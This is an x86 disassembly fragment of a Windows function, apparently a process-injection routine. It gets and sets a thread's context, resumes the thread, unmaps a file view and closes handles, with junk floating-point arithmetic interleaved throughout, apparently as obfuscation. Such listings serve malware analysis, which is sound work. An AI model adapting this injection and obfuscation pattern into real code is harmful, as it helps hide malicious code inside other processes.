lea eax, [ebp - 0x8f8]
movsd xmm1, qword [0x1003a918]
movaps xmm4, xmm3
mulsd xmm4, qword [0x1003a910]
movaps xmm2, xmm1
push eax
push dword [ebp - 0x924]
mulsd xmm2, xmm3
mov dword [ebp - 0x8f8], 0x1003f
addsd xmm4, qword [0x1003a920]
addsd xmm2, qword [0x1003a910]
movaps xmm0, xmm4
movsd qword [0x1003a920], xmm4
mulsd xmm0, xmm1
movsd qword [0x1003a910], xmm2
mulsd xmm2, xmm4
addsd xmm0, xmm3
addsd xmm2, xmm1
movsd qword [0x1003a928], xmm0
movsd qword [0x1003a918], xmm2
call dword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
jne 0x10011c0e
mov esi, 0xfffffffb
jmp 0x10011d54
movsd xmm4, qword [0x1003a920]
movsd xmm5, qword [0x10037da8]
movaps xmm0, xmm4
movsd xmm3, qword [0x1003a918]
addsd xmm0, xmm5
movsd xmm2, qword [0x1003a910]
movsd xmm1, qword [0x1003a928]
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x840], eax
lea eax, [ebp - 0x8f8]
divsd xmm3, xmm0
push eax
movaps xmm0, xmm2
addsd xmm0, xmm5
addsd xmm3, xmm2
push dword [ebp - 0x924]
divsd xmm4, xmm0
movaps xmm0, xmm1
movsd qword [0x1003a918], xmm3
addsd xmm0, xmm5
addsd xmm4, xmm1
divsd xmm2, xmm0
movsd qword [0x1003a920], xmm4
addsd xmm2, xmm3
addsd xmm3, xmm5
movsd qword [0x1003a910], xmm2
divsd xmm1, xmm3
addsd xmm1, xmm4
movsd qword [0x1003a928], xmm1
call dword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
test eax, eax
jne 0x10011cbc
mov esi, 0xfffffffa
jmp 0x10011d54
movsd xmm3, qword [0x1003a918]
movsd xmm6, qword [0x10037da8]
movaps xmm1, xmm3
movsd xmm5, qword [0x1003a928]
addsd xmm1, xmm6
movaps xmm0, xmm5
movsd xmm4, qword [0x1003a910]
movsd xmm2, qword [0x1003a920]
push dword [ebp - 0x924]
divsd xmm0, xmm1
movaps xmm1, xmm3
subsd xmm4, xmm0
movaps xmm0, xmm2
addsd xmm0, xmm6
movsd qword [0x1003a910], xmm4
divsd xmm1, xmm0
movaps xmm0, xmm4
subsd xmm5, xmm1
movaps xmm1, xmm2
addsd xmm0, xmm6
movsd qword [0x1003a928], xmm5
addsd xmm5, xmm6
divsd xmm1, xmm0
divsd xmm4, xmm5
subsd xmm3, xmm1
subsd xmm2, xmm4
movsd qword [0x1003a918], xmm3
movsd qword [0x1003a920], xmm2
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor esi, esi
mov eax, dword [ebp - 0x928]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x10011d67
push eax
call edi
mov eax, dword [ebp - 0x924]
test eax, eax
je 0x10011d74
push eax
call edi
mov eax, dword [ebp - 0x910]
test eax, eax
je 0x10011d85
push eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov eax, dword [ebp - 0x90c]
test eax, eax
je 0x10011d92
push eax
call edi
movsd xmm3, qword [0x1003a928]
lea eax, [ebp - 0x62c]
movsd xmm1, qword [0x1003a918]
movaps xmm4, xmm3
mulsd xmm4, qword [0x1003a910]
movaps xmm2, xmm1
cmp dword [ebp - 0x618], 8
mulsd xmm2, xmm3
cmovae eax, dword [ebp - 0x62c]
xor ecx, ecx
mov dword [ebp - 0x61c], 0
addsd xmm4, qword [0x1003a920]
addsd xmm2, qword [0x1003a910]
mov word [eax], cx
movaps xmm0, xmm4
movsd qword [0x1003a920], xmm4
mulsd xmm0, xmm1
movsd qword [0x1003a910], xmm2
mulsd xmm2, xmm4
addsd xmm0, xmm3
addsd xmm2, xmm1
movsd qword [0x1003a928], xmm0
movsd qword [0x1003a918], xmm2
mov edx, dword [ebp - 0x618]
cmp edx, 8
jb 0x10011e56
mov ecx, dword [ebp - 0x62c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x10011e4c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10011e73
push edx
push ecx
call fcn.1001e35c
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1001e319
mov esp, ebp
pop ebp
ret
call fcn.10023c5c
int3